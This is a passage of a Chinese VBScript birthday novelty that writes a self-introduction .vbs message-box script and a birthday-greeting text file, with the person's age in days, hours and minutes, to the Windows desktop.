"n"分鐘.....",vbOKCancel+63,"芮洲提示:") if s=2 then end if Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"a"的秘密.vbs",true) auto.WriteLine"MSGBOX""""""我的名字叫:"a" """"""vbcrlf""""""""""""vbcrlf""""""我的愛好是:"B" """"""vbcrlf""""""""""""vbcrlf"""""""a"已經(jīng)活了:"age"天 "h"小時(shí) "n"分鐘 """""",64,"""""""a"的自我介紹:""" auto.WriteLine"msgbox""""""親愛的 "a " 再見了!"""""",48,""""""芮洲提示:""""""" Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"a"生日快樂.TXT",true) auto.WriteLine"本人芮洲祝: "a" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達(dá)......." auto.WriteLine"你已在地球上生活了:"age"天 "h"小時(shí) "n"分鐘了" auto.WriteLine"時(shí)間是根據(jù)你的出生年月日算的,可能不是很精確,但目的只是想讓知道時(shí)間過的很快,請珍惜時(shí)間!!!。"
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